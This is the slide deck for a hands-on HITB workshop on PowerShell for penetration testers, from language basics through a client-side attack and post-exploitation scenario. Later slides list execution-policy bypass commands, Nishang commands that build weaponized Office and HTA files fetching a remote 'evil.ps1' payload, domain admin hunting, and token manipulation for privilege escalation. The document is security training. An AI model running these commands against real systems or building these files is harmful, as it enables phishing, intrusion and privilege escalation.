HITBSecConf
AMSTERDAM // MALAYSIA

PowerShell for Penetration Testers

Nikhil Mittal

Get-Host

- Hacker, Trainer, Speaker, Penetration Tester
- Creator of Kautilya and Nishang.
- Twitter: @nikhil_mitt
- Blog – http://labofapenetrationtester.com
- Interested in Offensive Information Security, new attack vectors and methodologies to pwn systems.
- Previous talks:

  Defcon, Blackhat, Troopers, DeepSec, EuSecwest, Hackfest, PHDays etc.

$PFPTLab = Get-Content

- What is PowerShell
- Why PowerShell
- Executing commands, scripts and modules
- Extended PowerShell usage
- A Penetration Testing Scenario
- Defenses

$PFPTLab | Format-Custom

- This is a hands-on workshop, keep your Windows machines/VMs ready.
- We will stick to PowerShell v2, unless specified otherwise.
- For language basics, we will go with bare minimum to be able to cover interesting stuff in couple of hours.
- The workshop assumes zero knowledge of PowerShell so if you know something:

```
do {Start-Sleep -s 60}
while {$SomethingNew -ne $true}
```

$PFPTLab | where-object {$_ -eq “What is PowerShell"}

- “Windows PowerShell® is a task-based command-line shell and scripting language designed especially for system administration. Built on the .NET Framework, Windows PowerShell helps IT professionals and power users control and automate the administration of the Windows operating system and applications that run on Windows.”

  http://technet.microsoft.com/en-us/library/bb978526.aspx

$PFPTLab | where-object {$_ -eq “Why PowerShell"}

- Present by default on modern Windows OS.
- Tightly integrated with Windows and allows interaction with .Net, Filesystem, Registry, API, Certificates, COM, native commands, network, domain etc.
- Expandable with use of .Net framework.
- Easy to learn.
- Less dependency on *nix based tools.
- Trusted by System Admins, Blue Teams and (mostly) AV etc.

Why PowerShell?

http://www.quickmeme.com/ONE-OF-US

about_PowerShell.exe

- powershell.exe is the console part of PowerShell.
- Execute native commands, cmdlets, functions and scripts.
- Supports tab completion, command aliases, Operators etc.
- Provides various options and execution parameters.

Invoke-HandsOn

- Try running powershell.exe and `Write-Output "Hello World"`
- Try usual bash and cmd commands.

$PFPTLab | where-object {$_ -eq “powershell.exe"}

- powershell.exe is the console part of PowerShell.
- Execute native commands, cmdlets, functions and scripts.
- Supports tab completion, command aliases, Operators etc.
- Provides various options and execution parameters.

Get-Help Get-Help

- Easy to use and very useful.
- This is the first place to go for learning something new or looking for solution to a problem.
- Detailed help for cmdlets, conceptual topics, scripts, functions and modules.
- Supports wildcards.
- You may need to run Update-Help (v3 onwards).

Get-Help Get-Help

- Use with about_* to list help about a conceptual topic.
- Various parameters could be passed to Get-Help

```
Get-Help Get-Help –Full
Get-Help Get-Command -Examples
```

$Exercise[0]

1. Use PowerShell help system to list everything available.
2. List help about “process”.
3. List help about powershell.exe conceptual topic.

$PFPTLab | where-object {$_ -eq “cmdlets"}

- A Cmdlet is pronounced as “command let”.
- Cmdlets are task based compiled .Net classes.
- Certainly one of the best features of PowerShell.
- They follow a Verb-Noun naming convention.
- Cmdlets have aliases.
- Like every other command in PowerShell, cmdlets return objects.

$PFPTLab | where-object {$_ -eq “cmdlets"}

- Explore cmdlets

  `Get-Command –CommandType Cmdlet`
- Explore cmdlets based on a verb

  `Get-Command –Verb Get`
- Get-Command also supports wildcards.

Invoke-HandsOn

- I need a count shout for number of Cmdlets you have on your machine.

  ```
  Get-Command –CommandType Cmdlet | Measure-Object
  ```

- As you can see, PowerShell supports the pipe (|) operator as well.

$Exercise[1]

1. I need names of three cmdlets each from everyone which can be useful in Penetration Tests.

about_Windows_PowerShell_ISE

- A GUI Scripting environment.
- Tab completion, context-sensitive help, syntax highlighting, selective execution, in-line help are some of the useful features.
- PowerShell scripts have .ps1 extension.

Invoke-HandsOn

1. Write a script which prints Hello World.
2. Save it and execute it.

about_Execution_Policies

about_Execution_Policies

- Execution Policy is present to stop a user from accidently running scripts.
- There are numerous ways to bypass it:

```
powershell.exe –ExecutionPolicy bypass  .
  \script.ps1
powershell.exe –EncodedCommand <>
powershell.exe –c <>
```

Read: 15 ways to bypass PowerShell execution policy
https://www.netspi.com/blog/entryid/238/15-ways-to-bypass-the-powershell-execution-policy

$PFPTLab | where-object {$_ -eq “Variables"}

- Variables are declared in the form $varname.
- Variables can hold outputs from Cmdlets, native commands, functions etc. as each one returns an object or array of objects.

Examples:

$DirList = Get-Childitem

$UserList = & "net" "user"

$PFPTLab | where-object {$_ -eq “Types"}

- PowerShell is not strictly typed.
- You need not specify the Type of a variable.
- If required, Type conversion could be done with the cast [] operator.

$PFPTLab | where-object {$_ -eq “Statements"}

- Conditional Statements
  - If, elseif, elseif, Switch
- Loop Statements
  - while() {}, do {} while(), do {} until(), for(;;){}, foreach (in){}
  - ForEach-Object

$PFPTLab | where-object {$_ -eq “Functions"}

- Basic Declaration

```
function <function_name>
( param1, param2)
{
   do stuff
}
```

- Calling a function

```
<function_name> <value1> <value2>
```

- param statement provides advanced attributes for function parameters.

Invoke-HandsOn

- Open Check-RegistryKey.ps1

$PFPTLab | where-object {$_ -eq “Basics of Modules"}

- A simplest module is a PowerShell script with the extension .psm1
- Use `Get-Command -ListAvailable` to list modules.
- Use `Import-Module <modulepath>`to import a module.
- Use `Get-Command –Module <Modulename>` to list functions exported by a module.

$Exercise[2]

1. Convert the script Check-RegistryKey.ps1 to a script module.
2. Try importing the module and use its functions.

$PFPTLab | where-object {$_ -eq ".Net with PowerShell"}

- Most powerful feature of PowerShell. Great to extend the existing capabilities of PowerShell.
- Useful for loading .Net assemblies, using Windows API, using .Net code and classes in a PowerShell script.

$PFPTLab | where-object {$_ -eq ".Net with PowerShell"}

Exploring .Net classes

```
$ProcClass =
[AppDomain]::CurrentDomain.GetA
ssemblies() | ForEach-Object
{$_.GetTypes()}| where
{$_.IsPublic -eq "True“} |
where {$_.Name -eq “Process”}
```

$PFPTLab | where-object {$_ -eq ".Net with PowerShell"}

Using .Net Classes

- Static Methods

```
$ProcClass | Get-Member –Static
$ProcClass:: GetProcesses()
```

$PFPTLab | where-object {$_ -eq ".Net with PowerShell"}

Using .Net Classes

- Creating instance

```
$WebClient = New-Object System.Net.WebClient

$WebClient | Get-Member –MemberType Method

$WebClient | Get-Member -Name DownloadString | Format-List *

$WebClient.DownloadString("http://google.com")
```

$PFPTLab | where-object {$_ -eq ".Net with PowerShell"}

- Use Add-Type to add .Net code/classes and Windows API to a PowerShell script or session.
- See New-DotnetCode.ps1 for example of using .Net code.

$PFPTLab | where-object {$_ -eq WMI"}

- WMI is a treasure trove for hackers.
- PowerShell could be used to retrieve information from WMI as well execute commands and scripts.
- Explore the cmdlets related to WMI

```
Get-Command -CommandType Cmdlet -
Name *wmi*
```

$PFPTLab | where-object {$_ -eq WMI"}

- To run a PowerShll command using WMI use:

```
Invoke-WmiMethod -Class
win32_process -Name create -
ArgumentList "powershell -c
Get-Process" –ComputerName <>
```

$PFPTLab | where-object {$_ -eq COM"}

- PowerShell can use COM Objects as well.
- Limitless opportunities for automation!

```
$ie = New-Object -ComObject
internetexplorer.application
$ie | Get-Member
```

$PFPTLab | where-object {$_ -eq PenTest Scenario"}

- Lets consider a Pen Test scenario:
  - The Goal of Penetration Test is to get access to get Domain Administrator access (not a very good goal but lets target it for this lab .
  - Server side attacks have been largely unsuccessful.
  - Msf payloads are being detected by Anti Virus and other countermeasures.

$Exploitation = $PFPTLab | where-object {$_ -eq Exploitation"}

- PowerShell is very useful in getting a foothold system in a target network.
- The trust on PowerShell by system administrators and countermeasures like AV makes it an ideal tool for Exploitation.

$Exploitation | where-object {$_ -eq Client Side Attacks"}

- PowerShell is an ideal tool for client side attacks on a Windows platform.
- It could be used for generating weaponized files for email phishing campaigns and drive by download attacks.
- Lets use Client Side attack scripts from Nishang (https://github.com/samratashok/nishang)

$Exploitation | where-object {$_ -eq Client Side Attacks"}

- Generating weaponized MS Office Files

```
Out-Word -Payload "powershell.exe -
ExecutionPolicy Bypass -noprofile -
noexit -c Get-Process“

Out-Word -PayloadURL http://
yourwebserver.com/evil.ps1

Out-Excel -Payload "powershell.exe
-EncodedCommand <>“
```

$Exploitation | where-object {$_ -eq Client Side Attacks"}

- Drive by download attacks

```
Out-HTA -PayloadURL http://
192.168.254.1/powerpreter.psm1 -
Arguments Check-VM
```

- More weaponized files

```
Out-CHM
Out-Shortcut
```

$Exploitation | where-object {$_ -eq Shells"}

- Now that we can run successful client side attacks, we may need shell level access for further attacks.
- PowerShell can be used to write shells as well.
- Shells in PowerShell can be used with exploits to get access to the target machine.

$Exploitation | where-object {$_ -eq Shells"}

- Interactive PowerShell Shells from Nishang
- Metasploit's msfvenom - Meterpreter using PowerShell

$PostExp = $PFPTLab | where-object {$_ -eq Post Exploitation"}

- PowerShell is arguably one of the best tools around for Windows Post Exploitation.
- We have an interactive PowerShell session on one of the machines on the target and various PowerShell tools can be used now.

$PostExp | where-object {$_ -eq Domain Enumeration"}

- We can use Powerview (https://github.com/Veil-Framework/PowerTools/tree/master/PowerView) to enumerate the target domain.
- The goal is to find a machine where a Domain Admin is logged in.

$PostExp | where-object {$_ -eq Domain Enumeration"}

- To find machines which have a domain admin logged in and the current user has access to that machine:

```
Invoke-UserHunter –CheckAccess
–Domain <targetdomain>
```

$PostExp | where-object {$_ -eq Priv Escalation"}

- Now we can use the Domain Admin token on the target machine using Invoke-TokenManipulation and some PowerShell hackery:

```
Get-Process -id <DA process> |
Invoke-TokenManipulation
CreateProcess cmd.exe
```

Invoke-TokenManipulation is a part of Powersploit (https://github.com/mattifestation/PowerSploit)

Can you feel the Power already?

$PFPTLab | where-object {$_ -eq Defenses"}

- Log Log Log!
- Monitor and Analyze the logs.
- Understand flow/use of privileges and credentials in your environment.
- If a determined attacker can break into any system, a determined system administrator can catch any attacker as well.

$PFPTLab | where-object {$_ -eq Credits"}

Credits/FF to PowerShell hackers (in no particular order)

@obscuresec, @mattifestation, @JosephBialek, @Carlos_Perez, @Lee_Holmes, @ScriptingGuys, @BrucePayette, @dave_rel1k, @enigma0x3, @subTee, @harmj0y and other PowerShell bloggers and book writers.

$PFPTLab | where-object {$_ -eq Closing Remarks"}

- Bad guys are already using PowerShell, using it for security testing is imperative now. Both for red teams and blue teams.
- PowerShell is the not the future of Windows Penetration Testing, it is the present.

$PFPTLab | where-object {$_ -eq Self Promotion"}

- Check out PowerShell for Penetration Testers two days trainings at:

  http://www.labofapenetrationtester.com/p/trainings.html#pfptschedule

$PFPTLab | where-object {$_ -eq Feedback"}

- Please fill the feedback form.
- I am looking for contributors.
- Nishang is available at https://github.com/samratashok/nishang
- Follow me @nikhil_mitt
- nikhil.uitrgpv@gmail.com
- http://labofapenetrationtester.com/